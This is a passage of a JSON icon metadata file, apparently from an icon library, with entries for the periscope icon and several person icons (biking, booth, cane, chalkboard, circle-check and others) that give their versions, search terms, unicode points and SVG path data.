        "path": "M374.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-320 320c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l320-320zM128 128A64 64 0 1 0 0 128a64 64 0 1 0 128 0zM384 384a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "periscope": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3da",
    "label": "Periscope",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z"
      }
    },
    "free": ["brands"]
  },
  "person": {
    "aliases": {
      "names": ["male"],
      "unicodes": {
        "composite": ["1f9cd"],
        "secondary": ["10f183"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["man", "person standing", "stand", "standing", "woman"]
    },
    "styles": ["solid"],
    "unicode": "f183",
    "label": "Person",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152z"
      }
    },
    "free": ["solid"]
  },
  "person-arrow-down-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ground", "indigenous", "native"]
    },
    "styles": ["solid"],
    "unicode": "e538",
    "label": "Person Arrow Down To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM464 64V306.7l-25.4-25.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L528 306.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM464 64V306.7l-25.4-25.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L528 306.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "person-arrow-up-from-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["population", "rise"]
    },
    "styles": ["solid"],
    "unicode": "e539",
    "label": "Person Arrow Up From Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM598.6 121.4l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L464 141.3 464 384c0 17.7 14.3 32 32 32s32-14.3 32-32V141.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 352V352h16v96H184zm-64 0H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H152h80H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H264V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V448zM598.6 121.4l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L464 141.3 464 384c0 17.7 14.3 32 32 32s32-14.3 32-32V141.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "person-biking": {
    "aliases": {
      "names": ["biking"],
      "unicodes": {
        "composite": ["1f6b4"],
        "secondary": ["10f84a"]
      }
    },
    "changes": [
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bicycle",
        "bike",
        "biking",
        "cyclist",
        "pedal",
        "person biking",
        "summer",
        "wheel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f84a",
    "label": "Person Biking",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm27.2 64l-61.8-48.8c-17.3-13.6-41.7-13.8-59.1-.3l-83.1 64.2c-30.7 23.8-28.5 70.8 4.3 91.6L288 305.1V416c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-10.7-5.3-20.7-14.2-26.6L295 232.9l60.3-48.5L396 217c5.7 4.5 12.7 7 20 7h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H427.2zM56 384a72 72 0 1 1 144 0A72 72 0 1 1 56 384zm200 0A128 128 0 1 0 0 384a128 128 0 1 0 256 0zm184 0a72 72 0 1 1 144 0 72 72 0 1 1 -144 0zm200 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm27.2 64l-61.8-48.8c-17.3-13.6-41.7-13.8-59.1-.3l-83.1 64.2c-30.7 23.8-28.5 70.8 4.3 91.6L288 305.1V416c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-10.7-5.3-20.7-14.2-26.6L295 232.9l60.3-48.5L396 217c5.7 4.5 12.7 7 20 7h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H427.2zM56 384a72 72 0 1 1 144 0A72 72 0 1 1 56 384zm200 0A128 128 0 1 0 0 384a128 128 0 1 0 256 0zm184 0a72 72 0 1 1 144 0 72 72 0 1 1 -144 0zm200 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z"
      }
    },
    "free": ["solid"]
  },
  "person-booth": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f756"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["changing room", "curtain", "vote", "voting"]
    },
    "styles": ["solid"],
    "unicode": "f756",
    "label": "Person Booth",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64V32zm320 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM224 512c17.7 0 32-14.3 32-32V320H192V480c0 17.7 14.3 32 32 32zM320 0c-9.3 0-18.1 4-24.2 11s-8.8 16.3-7.5 25.5l31.2 218.6L288.6 409.7c-3.5 17.3 7.8 34.2 25.1 37.7s34.2-7.8 37.7-25.1l.7-3.6c1.3 16.4 15.1 29.4 31.9 29.4c17.7 0 32-14.3 32-32c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM112 80A48 48 0 1 0 16 80a48 48 0 1 0 96 0zm0 261.3V269.3l4.7 4.7c9 9 21.2 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H157.3l-41.6-41.6c-14.3-14.3-33.8-22.4-54-22.4C27.6 160 0 187.6 0 221.6v55.7l0 .9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384l32 42.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V421.3c0-10.4-3.4-20.5-9.6-28.8L112 341.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V192h64V32zm320 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM224 512c17.7 0 32-14.3 32-32V320H192V480c0 17.7 14.3 32 32 32zM320 0c-9.3 0-18.1 4-24.2 11s-8.8 16.3-7.5 25.5l31.2 218.6L288.6 409.7c-3.5 17.3 7.8 34.2 25.1 37.7s34.2-7.8 37.7-25.1l.7-3.6c1.3 16.4 15.1 29.4 31.9 29.4c17.7 0 32-14.3 32-32c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM112 80A48 48 0 1 0 16 80a48 48 0 1 0 96 0zm0 261.3V269.3l4.7 4.7c9 9 21.2 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H157.3l-41.6-41.6c-14.3-14.3-33.8-22.4-54-22.4C27.6 160 0 187.6 0 221.6v55.7l0 .9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V384l32 42.7V480c0 17.7 14.3 32 32 32s32-14.3 32-32V421.3c0-10.4-3.4-20.5-9.6-28.8L112 341.3z"
      }
    },
    "free": ["solid"]
  },
  "person-breastfeeding": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["baby", "child", "infant", "mother", "nutrition", "sustenance"]
    },
    "styles": ["solid"],
    "unicode": "e53a",
    "label": "Person Breastfeeding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0a80 80 0 1 1 0 160A80 80 0 1 1 224 0zM436.8 382.8L373.5 462c-16.6 20.7-46.8 24.1-67.5 7.5c-17.6-14.1-22.7-38.1-13.5-57.7l-.8-.1c-38.9-5.6-74.3-25.1-99.7-54.8V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 .8 0 1.6 .1 2.4l101.4 50.7c23.7 11.9 33.3 40.7 21.5 64.4s-40.7 33.3-64.4 21.5L27.2 427.3c-1.1-.5-2.2-1.1-3.3-1.7c-4.9-2.8-9.2-6.4-12.6-10.6c-4.6-5.4-7.8-11.7-9.6-18.4c-3.3-12-1.9-25.2 4.8-36.6c.6-1.1 1.3-2.2 2-3.2L75.6 256.1c26.7-40.1 71.7-64.1 119.8-64.1h75.2c46.5 0 90.1 22.5 117.2 60.3l50.7 70.9c2.2 3 4 6.1 5.5 9.4c2.9 6.7 4.3 13.8 4 20.8c-.3 10.6-4.2 21-11.2 29.4zM320 332a44 44 0 1 0 -88 0 44 44 0 1 0 88 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0a80 80 0 1 1 0 160A80 80 0 1 1 224 0zM436.8 382.8L373.5 462c-16.6 20.7-46.8 24.1-67.5 7.5c-17.6-14.1-22.7-38.1-13.5-57.7l-.8-.1c-38.9-5.6-74.3-25.1-99.7-54.8V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 .8 0 1.6 .1 2.4l101.4 50.7c23.7 11.9 33.3 40.7 21.5 64.4s-40.7 33.3-64.4 21.5L27.2 427.3c-1.1-.5-2.2-1.1-3.3-1.7c-4.9-2.8-9.2-6.4-12.6-10.6c-4.6-5.4-7.8-11.7-9.6-18.4c-3.3-12-1.9-25.2 4.8-36.6c.6-1.1 1.3-2.2 2-3.2L75.6 256.1c26.7-40.1 71.7-64.1 119.8-64.1h75.2c46.5 0 90.1 22.5 117.2 60.3l50.7 70.9c2.2 3 4 6.1 5.5 9.4c2.9 6.7 4.3 13.8 4 20.8c-.3 10.6-4.2 21-11.2 29.4zM320 332a44 44 0 1 0 -88 0 44 44 0 1 0 88 0z"
      }
    },
    "free": ["solid"]
  },
  "person-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abuse", "accident", "crash", "explode", "violence"]
    },
    "styles": ["solid"],
    "unicode": "e53b",
    "label": "Person Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H465.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L408 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V256.9l28.6 47.5c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-58.3-97c-17.4-28.9-48.6-46.6-82.3-46.6H465.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L408 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z"
      }
    },
    "free": ["solid"]
  },
  "person-cane": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["aging", "cane", "elderly", "old", "staff"]
    },
    "styles": ["solid"],
    "unicode": "e53c",
    "label": "Person Cane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-8 187.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3zM352 376c0-4.4 3.6-8 8-8s8 3.6 8 8V488c0 13.3 10.7 24 24 24s24-10.7 24-24V376c0-30.9-25.1-56-56-56s-56 25.1-56 56v8c0 13.3 10.7 24 24 24s24-10.7 24-24v-8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M272 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-8 187.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3zM352 376c0-4.4 3.6-8 8-8s8 3.6 8 8V488c0 13.3 10.7 24 24 24s24-10.7 24-24V376c0-30.9-25.1-56-56-56s-56 25.1-56 56v8c0 13.3 10.7 24 24 24s24-10.7 24-24v-8z"
      }
    },
    "free": ["solid"]
  },
  "person-chalkboard": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blackboard",
        "instructor",
        "keynote",
        "lesson",
        "presentation",
        "teacher"
      ]
    },
    "styles": ["solid"],
    "unicode": "e53d",
    "label": "Person Chalkboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V192h56 64 16c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64H576V256H384V224H320v48c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48v80H243.1 177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8 384V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V192h56 64 16c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64H576V256H384V224H320v48c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48v80H243.1 177.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9L120 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["approved", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e53e",
    "label": "Person Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "alert", "lost", "missing"]
    },
    "styles": ["solid"],
    "unicode": "e53f",
    "label": "Person Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["delete", "remove"]
    },
    "styles": ["solid"],
    "unicode": "e540",
    "label": "Person Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
